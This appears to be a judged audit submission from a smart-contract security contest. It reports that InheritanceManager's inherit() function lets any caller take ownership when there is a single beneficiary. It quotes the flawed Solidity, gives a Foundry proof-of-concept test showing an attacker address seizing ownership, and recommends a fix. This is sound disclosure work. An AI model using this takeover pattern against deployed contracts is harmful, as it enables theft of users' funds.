Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Ownership Takeover in Single Beneficiary Mode

Summary

When only one beneficiary is registered, the inherit() function transfers complete ownership to the caller without verifying if they are the designated beneficiary.

Vulnerability Details

[Affected Code] (https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/main/src/InheritanceManager.sol#L217-L229)

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
///custom: audit (No check if caller is beneficiary)
@> if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

InheritanceManager:: inherit is meant to make beneficiary the contract owner after certain time has been passed. It is allowed only when there is only one beneficiary.
However, currently it does not check the caller legitimacy. Which allows anybody to call it and take over the ownership, which breaks to core invariant of the contract allowing attacker to take out all the funds.

POC

In existing inheritance test suite add following test

pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
+ address attacker = makeAddr("attacker");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
+ function testUnauthorizedOwnershipTakeOver() public {
+ // Owner adds a legitimate beneficiary
+ vm.prank(owner);
+ im.addBeneficiery(user1);
+ // Advance time to enable inheritance
+ vm.warp(block.timestamp + 91 days);
+ // Attacker calls inherit instead of legitimate beneficiary
+ vm.prank(attacker);
+ im.inherit();
+ // Verify attacker is now the owner
+ assertEq(im.getOwner(), attacker, "Attacker should be able to take ownership");
+ }

When running forge test --mt testUnauthorizedOwnershipTakeOver-vv It passed, which confirms the vulnerability.

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] testUnauthorizedOwnershipTakeover() (gas: 92452)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.13ms (487.88µs CPU time)

Impact

All funds will be drained by the attacker.

Tools Used

Foundry

Recommendations

Here is the recommendation to fix the issue.

+ error Unauthorized ();
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
+ if(beneficiaries[0] != msg.sender){
+ revert Unauthorized();
+ }
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.